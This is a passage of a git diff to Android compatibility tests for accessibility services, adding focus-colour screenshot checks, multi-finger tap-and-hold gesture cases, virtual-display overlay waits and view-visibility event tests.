+     * The delay time is for next UI frame rendering out.
+     */
+    private static final long SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS = 500;
+
     private static Instrumentation sInstrumentation;
     private static UiAutomation sUiAutomation;
+    private static Context sContext;
+    private static AccessibilityManager sAccessibilityManager;
+    private static int sFocusStrokeWidthDefaultValue;
+    private static int sFocusColorDefaultValue;
 
     private AccessibilityFocusAndInputFocusSyncActivity mActivity;
 
     private ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityFocusAndInputFocusSyncActivity.class, false, false);
 
+    private InstrumentedAccessibilityServiceTestRule<StubFocusIndicatorService>
+            mFocusIndicatorServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+            StubFocusIndicatorService.class, false);
+
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
 
     @Rule
     public final RuleChain mRuleChain = RuleChain
             .outerRule(mActivityRule)
+            .around(mFocusIndicatorServiceRule)
             .around(mDumpOnFailureRule);
 
+    /* Test name rule that tracks the current test method under execution */
+    @Rule public TestName mTestName = new TestName();
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
-        sUiAutomation = sInstrumentation.getUiAutomation();
-        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
-        info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
-        info.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
-        sUiAutomation.setServiceInfo(info);
+        sUiAutomation = sInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+
+        sContext = sInstrumentation.getContext();
+        sAccessibilityManager = sContext.getSystemService(AccessibilityManager.class);
+        assertNotNull(sAccessibilityManager);
+        sFocusStrokeWidthDefaultValue = sAccessibilityManager.getAccessibilityFocusStrokeWidth();
+        sFocusColorDefaultValue = sAccessibilityManager.getAccessibilityFocusColor();
     }
 
     @AfterClass
@@ -94,6 +129,11 @@
 
     @Before
     public void setUp() throws Exception {
+        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
+        info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
+        info.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
+        sUiAutomation.setServiceInfo(info);
+
         mActivity = launchActivityAndWaitForItToBeOnscreen(
                 sInstrumentation, sUiAutomation, mActivityRule);
     }
@@ -108,15 +148,15 @@
         // Get the view that has input and accessibility focus.
         final AccessibilityNodeInfo expected = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.firstEditText)).get(0);
+                        sContext.getString(R.string.firstEditText)).get(0);
         assertNotNull(expected);
         assertFalse(expected.isAccessibilityFocused());
         assertTrue(expected.isFocused());
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(expected.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the second expected node info.
@@ -145,14 +185,14 @@
         // Get the root linear layout info.
         final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.rootLinearLayout)).get(0);
+                        sContext.getString(R.string.rootLinearLayout)).get(0);
         assertNotNull(rootLinearLayout);
         assertFalse(rootLinearLayout.isAccessibilityFocused());
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(rootLinearLayout.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the node info again.
@@ -169,13 +209,13 @@
         // Get the root linear layout info.
         final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.rootLinearLayout)).get(0);
+                        sContext.getString(R.string.rootLinearLayout)).get(0);
         assertNotNull(rootLinearLayout);
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(rootLinearLayout.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Refresh the node info.
@@ -186,8 +226,8 @@
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(rootLinearLayout.performAction(ACTION_CLEAR_ACCESSIBILITY_FOCUS)),
-                (event) -> event.getEventType()
-                        == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED, ACTION_CLEAR_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Refresh the node info.
@@ -204,21 +244,21 @@
         // Get the first not focused edit text.
         final AccessibilityNodeInfo firstEditText = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.firstEditText)).get(0);
+                        sContext.getString(R.string.firstEditText)).get(0);
         assertNotNull(firstEditText);
         assertTrue(firstEditText.isFocusable());
         assertFalse(firstEditText.isAccessibilityFocused());
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(firstEditText.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the second not focused edit text.
         final AccessibilityNodeInfo secondEditText = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.secondEditText)).get(0);
+                        sContext.getString(R.string.secondEditText)).get(0);
         assertNotNull(secondEditText);
         assertTrue(secondEditText.isFocusable());
         assertFalse(secondEditText.isFocused());
@@ -226,8 +266,8 @@
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(secondEditText.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the node info again.
@@ -257,7 +297,7 @@
     public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
         final AccessibilityNodeInfo secondButton = sUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.secondButton)).get(0);
+                        sContext.getString(R.string.secondButton)).get(0);
         assertTrue("Screen reader focusability not propagated from xml to accessibility",
                 secondButton.isScreenReaderFocusable());
 
@@ -277,4 +317,128 @@
                 "Screen reader focusability not propagated to accessibility after calling setter",
                 secondButton.isScreenReaderFocusable());
     }
+
+    @Test
+    public void testSetFocusAppearanceDataAfterServiceEnabled() {
+        final StubFocusIndicatorService service =
+                mFocusIndicatorServiceRule.enableService();
+        final int focusColor = sFocusColorDefaultValue == Color.BLUE ? Color.RED : Color.BLUE;
+
+        try {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue + 10,
+                    focusColor);
+        } finally {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+                    sFocusColorDefaultValue);
+
+            service.disableSelfAndRemove();
+        }
+    }
+
+    @Test
+    public void testChangeFocusColor_expectedColorIsChanged() throws Exception {
+        final StubFocusIndicatorService service =
+                mFocusIndicatorServiceRule.enableService();
+
+        try {
+            // Get the root linear layout info.
+            final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
+                    .getRootInActiveWindow().findAccessibilityNodeInfosByText(
+                            sContext.getString(R.string.rootLinearLayout)).get(0);
+
+            final Bitmap blueColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+                    rootLinearLayout, Color.BLUE);
+
+            final Bitmap redColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+                    rootLinearLayout, Color.RED);
+
+            assertTrue(isBitmapDifferent(blueColorFocusScreenshot, redColorFocusScreenshot));
+        } finally {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+                    sFocusColorDefaultValue);
+
+            service.disableSelfAndRemove();
+        }
+    }
+
+    private Bitmap screenshotAfterChangeFocusColor(StubFocusIndicatorService service,
+            AccessibilityNodeInfo unAccessibilityFocusedNode, int color) throws Exception {
+        assertFalse(unAccessibilityFocusedNode.isAccessibilityFocused());
+
+        setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue, color);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> assertTrue(unAccessibilityFocusedNode.performAction(
+                        ACTION_ACCESSIBILITY_FOCUS)),
+                filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                        ACTION_ACCESSIBILITY_FOCUS),
+                DEFAULT_TIMEOUT_MS);
+        Thread.sleep(SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS);
+
+        final Bitmap screenshot = sUiAutomation.takeScreenshot();
+
+        sUiAutomation.executeAndWaitForEvent(
+                () -> assertTrue(unAccessibilityFocusedNode.performAction(
+                        ACTION_CLEAR_ACCESSIBILITY_FOCUS)),
+                filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                        ACTION_CLEAR_ACCESSIBILITY_FOCUS),
+                DEFAULT_TIMEOUT_MS);
+
+        return screenshot;
+    }
+
+    private boolean isBitmapDifferent(Bitmap bitmap1, Bitmap bitmap2) {
+        final Display display = mActivity.getWindowManager().getDefaultDisplay();
+        final Point displaySize = new Point();
+        display.getRealSize(displaySize);
+
+        final int[] pixelsOne = new int[displaySize.x * displaySize.y];
+        final Bitmap bitmapOne = bitmap1.copy(Bitmap.Config.ARGB_8888, false);
+        bitmapOne.getPixels(pixelsOne, 0, displaySize.x, 0, 0, displaySize.x,
+                displaySize.y);
+
+        final int[] pixelsTwo = new int[displaySize.x * displaySize.y];
+        final Bitmap bitmapTwo = bitmap2.copy(Bitmap.Config.ARGB_8888, false);
+        bitmapTwo.getPixels(pixelsTwo, 0, displaySize.x, 0, 0, displaySize.x,
+                displaySize.y);
+
+        for (int i = pixelsOne.length - 1; i > 0; i--) {
+            if ((Color.red(pixelsOne[i]) != Color.red(pixelsTwo[i]))
+                    || (Color.green(pixelsOne[i]) != Color.green(pixelsTwo[i]))
+                    || (Color.blue(pixelsOne[i]) != Color.blue(pixelsTwo[i]))) {
+                return true;
+            }
+        }
+
+        saveFailureScreenshot(bitmap1, bitmap2);
+        return false;
+    }
+
+    private void saveFailureScreenshot(Bitmap bitmap1, Bitmap bitmap2) {
+        final String directoryName = Environment.getExternalStorageDirectory()
+                + "/" + getClass().getSimpleName();
+
+        final String fileName1 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap1",
+                SystemClock.uptimeMillis());
+        BitmapUtils.saveBitmap(bitmap1, directoryName, fileName1);
+
+        final String fileName2 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap2",
+                SystemClock.uptimeMillis());
+        BitmapUtils.saveBitmap(bitmap2, directoryName, fileName2);
+    }
+
+    private void setFocusAppearanceDataAndCheckItCorrect(StubFocusIndicatorService service,
+            int focusStrokeWidthValue, int focusColorValue) {
+        service.setAccessibilityFocusAppearance(focusStrokeWidthValue,
+                focusColorValue);
+        // Checks if the color and the stroke values from AccessibilityManager is
+        // updated as in expectation.
+        PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(sAccessibilityManager,
+                focusStrokeWidthValue, focusColorValue));
+    }
+
+    private static boolean isFocusAppearanceDataUpdated(AccessibilityManager manager,
+            int strokeWidth, int color) {
+        return manager.getAccessibilityFocusStrokeWidth() == strokeWidth
+                && manager.getAccessibilityFocusColor() == color;
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 37a4997..499a505 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -244,7 +244,11 @@
                 twoFingerSingleTap(displayId),
                 AccessibilityService.GESTURE_2_FINGER_SINGLE_TAP,
                 displayId);
-        testGesture(
+                testGesture(
+                        twoFingerTripleTapAndHold(displayId),
+                        AccessibilityService.GESTURE_2_FINGER_TRIPLE_TAP_AND_HOLD,
+                        displayId);
+                testGesture(
                 twoFingerDoubleTap(displayId),
                 AccessibilityService.GESTURE_2_FINGER_DOUBLE_TAP,
                 displayId);
@@ -261,7 +265,11 @@
                 threeFingerSingleTap(displayId),
                 AccessibilityService.GESTURE_3_FINGER_SINGLE_TAP,
                 displayId);
-        testGesture(
+                testGesture(
+                        threeFingerSingleTapAndHold(displayId),
+                        AccessibilityService.GESTURE_3_FINGER_SINGLE_TAP_AND_HOLD,
+                        displayId);
+                testGesture(
                 threeFingerDoubleTap(displayId),
                 AccessibilityService.GESTURE_3_FINGER_DOUBLE_TAP,
                 displayId);
@@ -273,6 +281,10 @@
                 threeFingerTripleTap(displayId),
                 AccessibilityService.GESTURE_3_FINGER_TRIPLE_TAP,
                 displayId);
+                testGesture(
+                        threeFingerTripleTapAndHold(displayId),
+                        AccessibilityService.GESTURE_3_FINGER_TRIPLE_TAP_AND_HOLD,
+                        displayId);
 
         testGesture(
                 fourFingerSingleTap(displayId),
@@ -367,7 +379,6 @@
         // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
         // because accessibility services read gesture events upstream from the point where
         // sendPointerSync() injects events.
-        mService.clearGestures();
         mService.runOnServiceSync(() ->
         mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
         verify(mGestureDispatchCallback, timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
@@ -530,6 +541,10 @@
         return multiFingerMultiTap(2, 1, displayId);
     }
 
+    private GestureDescription twoFingerTripleTapAndHold(int displayId) {
+        return multiFingerMultiTapAndHold(2, 3, displayId);
+    }
+
     private GestureDescription twoFingerDoubleTap(int displayId) {
         return multiFingerMultiTap(2, 2, displayId);
     }
@@ -546,6 +561,10 @@
         return multiFingerMultiTap(3, 1, displayId);
     }
 
+    private GestureDescription threeFingerSingleTapAndHold(int displayId) {
+        return multiFingerMultiTapAndHold(3, 1, displayId);
+    }
+
     private GestureDescription threeFingerDoubleTap(int displayId) {
         return multiFingerMultiTap(3, 2, displayId);
     }
@@ -558,6 +577,10 @@
         return multiFingerMultiTap(3, 3, displayId);
     }
 
+    private GestureDescription threeFingerTripleTapAndHold(int displayId) {
+        return multiFingerMultiTapAndHold(3, 3, displayId);
+    }
+
     private GestureDescription fourFingerSingleTap(int displayId) {
         return multiFingerMultiTap(4, 1, displayId);
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
index d8264dc..6cd2b9b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
@@ -33,9 +33,12 @@
 import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.Button;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.TestUtils;
+
+import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
@@ -54,7 +57,7 @@
 
     private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonService>
             mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
-                    StubAccessibilityButtonService.class);
+            StubAccessibilityButtonService.class);
 
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
@@ -73,6 +76,11 @@
         sUiAutomation.setServiceInfo(info);
     }
 
+    @AfterClass
+    public static void postTestTearDown() {
+        sUiAutomation.destroy();
+    }
+
     @Before
     public void setUp() {
         mService = mServiceRule.getService();
@@ -81,7 +89,6 @@
     @Test
     public void testA11yServiceShowsOverlay_shouldAppear() throws Exception {
         final String overlayTitle = "Overlay title";
-
         sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
             addOverlayWindow(mService, overlayTitle);
         }), (event) -> findOverlayWindow(Display.DEFAULT_DISPLAY) != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
@@ -91,13 +98,23 @@
 
     @Test
     public void testA11yServiceShowsOverlayOnVirtualDisplay_shouldAppear() throws Exception {
-        try (DisplayUtils.VirtualDisplaySession displaySession =
+        try (final DisplayUtils.VirtualDisplaySession displaySession =
                      new DisplayUtils.VirtualDisplaySession()) {
-            Display newDisplay = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+            final Display newDisplay = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
                     mService, false);
             final int displayId = newDisplay.getDisplayId();
-            final Context newDisplayContext = mService.createDisplayContext(newDisplay);
             final String overlayTitle = "Overlay title on virtualDisplay";
+            // Make sure the onDisplayAdded callback of a11y framework handled by checking if the
+            // accessibilityWindowInfo list of the virtual display has been added.
+            // And the a11y default token is available after the onDisplayAdded callback handled.
+            TestUtils.waitUntil("AccessibilityWindowInfo list of the virtual display are not ready",
+                    () -> {
+                        final SparseArray<List<AccessibilityWindowInfo>> allWindows =
+                                sUiAutomation.getWindowsOnAllDisplays();
+                        return allWindows.get(displayId) != null;
+                    }
+            );
+            final Context newDisplayContext = mService.createDisplayContext(newDisplay);
 
             sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
                 addOverlayWindow(newDisplayContext, overlayTitle);
@@ -123,8 +140,8 @@
     private AccessibilityWindowInfo findOverlayWindow(int displayId) {
         final SparseArray<List<AccessibilityWindowInfo>> allWindows =
                 sUiAutomation.getWindowsOnAllDisplays();
-        final int index = allWindows.indexOfKey(displayId);
-        final List<AccessibilityWindowInfo> windows = allWindows.valueAt(index);
+        final List<AccessibilityWindowInfo> windows = allWindows.get(displayId);
+
         if (windows != null) {
             for (AccessibilityWindowInfo window : windows) {
                 if (window.getType() == AccessibilityWindowInfo.TYPE_ACCESSIBILITY_OVERLAY) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
index f53f126..e1bf31f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
@@ -208,7 +208,7 @@
 
     private RemoteAction getRemoteAction(String pendingIntent) {
         Intent i = new Intent(pendingIntent);
-        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, 0);
+        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RemoteAction(Icon.createWithContentUri("content://test"), "test1", "test1", p);
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index 0ca307a..1e71541 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -317,44 +317,54 @@
         assertTrue(awaitedEvent.getSource().isImportantForAccessibility());
     }
 
-
     @Test
-    public void testHideView_receiveSubtreeEvent() throws Throwable {
+    public void testSetViewInvisible_receiveSubtreeEvent() throws Throwable {
         final View view = mActivity.findViewById(R.id.secondButton);
-        AccessibilityEvent awaitedEvent =
-                sUiAutomation.executeAndWaitForEvent(
-                        () -> mActivity.runOnUiThread(() -> view.setVisibility(View.GONE)),
-                        (event) -> {
-                            boolean isContentChanged = event.getEventType()
-                                    == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
-                            int isSubTree = (event.getContentChangeTypes()
-                                    & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
-                            boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
-                                    mActivity.getPackageName());
-                            return isContentChanged && (isSubTree != 0) && isFromThisPackage;
-                        }, TIMEOUT_ASYNC_PROCESSING);
-        awaitedEvent.recycle();
+        receiveSubtreeEventWhenViewChangesVisibility(view, (View) view.getParentForAccessibility(), View.INVISIBLE);
     }
 
     @Test
-    public void testUnhideView_receiveSubtreeEvent() throws Throwable {
+    public void testSetViewGone_receiveSubtreeEvent() throws Throwable {
+        final View view = mActivity.findViewById(R.id.secondButton);
+        receiveSubtreeEventWhenViewChangesVisibility(view, (View) view.getParentForAccessibility(), View.GONE);
+    }
+
+    @Test
+    public void testSetViewVisible_receiveSubtreeEvent() throws Throwable {
         final View view = mActivity.findViewById(R.id.hiddenButton);
+        receiveSubtreeEventWhenViewChangesVisibility(view, view, View.VISIBLE);
+    }
+
+    private void receiveSubtreeEventWhenViewChangesVisibility(View view, View sendA11yEventParent,
+            int visibility) throws Throwable {
         AccessibilityEvent awaitedEvent =
                 sUiAutomation.executeAndWaitForEvent(
-                        () -> mActivity.runOnUiThread(() -> view.setVisibility(View.VISIBLE)),
+                        () -> {
+                            mActivity.runOnUiThread(() -> view.setVisibility(visibility));
+                        },
                         (event) -> {
                             boolean isContentChanged = event.getEventType()
                                     == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
-                            int isSubTree = (event.getContentChangeTypes()
-                                    & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+                            boolean isSubTree = event.getContentChangeTypes()
+                                    == AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE;
                             boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
                                     mActivity.getPackageName());
-                            return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+                            boolean isFromThisNode;
+                            if (event.getSource() != null) {
+                                isFromThisNode = TextUtils.equals(
+                                        event.getSource().getViewIdResourceName(),
+                                        sInstrumentation.getTargetContext().getResources()
+                                                .getResourceName(sendA11yEventParent.getId()));
+                            } else {
+                                isFromThisNode = TextUtils.equals(event.getClassName(),
+                                        sendA11yEventParent.getAccessibilityClassName());
+                            }
+                            return isContentChanged && isSubTree && isFromThisPackage
+                                    && isFromThisNode;
                         }, TIMEOUT_ASYNC_PROCESSING);
         awaitedEvent.recycle();
     }
 
-
     private void setGetNonImportantViews(boolean getNonImportantViews) {
         AccessibilityServiceInfo serviceInfo = sUiAutomation.getServiceInfo();
         serviceInfo.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 2e5ffca..a4dd8ab 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -17,14 +17,17 @@
 package android.accessibilityservice.cts;
 
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangTypesAndWindowId;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangeTypesAndWindowTitle;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.supportsMultiDisplay;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
-import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
 import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
+import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
@@ -35,6 +38,7 @@
 import static android.view.accessibility.AccessibilityEvent.TYPE_WINDOWS_CHANGED;
 import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED;
 import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_ADDED;
+import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_SELECTION;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK;
@@ -67,7 +71,7 @@
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.MediumTest;
-import android.text.TextUtils;
+import android.util.Log;
 import android.util.SparseArray;
 import android.view.Display;
 import android.view.Gravity;
@@ -83,6 +87,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
 
 import org.hamcrest.Description;
@@ -139,6 +144,7 @@
         sUiAutomation = sInstrumentation.getUiAutomation();
         AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
+        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
         sUiAutomation.setServiceInfo(info);
     }
 
@@ -159,14 +165,14 @@
         // First, make the root view of the activity an accessibility node. This allows us to
         // later exclude views that are part of the activity's DecorView.
         sInstrumentation.runOnMainSync(() -> mActivity.findViewById(R.id.added_content)
-                    .setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES));
+                .setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES));
 
         // Start looking from the added content instead of from the root accessibility node so
         // that nodes that we don't expect (i.e. window control buttons) are not included in the
         // list of accessibility nodes returned by findAccessibilityNodeInfosByText.
         final AccessibilityNodeInfo addedContent = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByViewId(CONTENT_VIEW_RES_NAME)
-                        .get(0);
+                .get(0);
 
         // find a view by text
         List<AccessibilityNodeInfo> buttons = addedContent.findAccessibilityNodeInfosByText("b");
@@ -207,9 +213,11 @@
                         "android.accessibilityservice.cts:id/button1").get(0);
 
         // Click the button to generate an event
-        AccessibilityEvent event = sUiAutomation.executeAndWaitForEvent(
-                () -> button1.performAction(ACTION_CLICK),
-                filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent event =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button1.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
         // Make sure the source window cannot be accessed.
         assertNull(event.getSource().getWindow());
@@ -218,105 +226,92 @@
     @MediumTest
     @Test
     public void testTraverseAllWindows() throws Exception {
-        setAccessInteractiveWindowsFlag();
-        try {
-            List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
-            Rect boundsInScreen = new Rect();
+        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+        Rect boundsInScreen = new Rect();
 
-            final int windowCount = windows.size();
-            for (int i = 0; i < windowCount; i++) {
-                AccessibilityWindowInfo window = windows.get(i);
-                // Skip other Apps windows since their state might not be stable while querying.
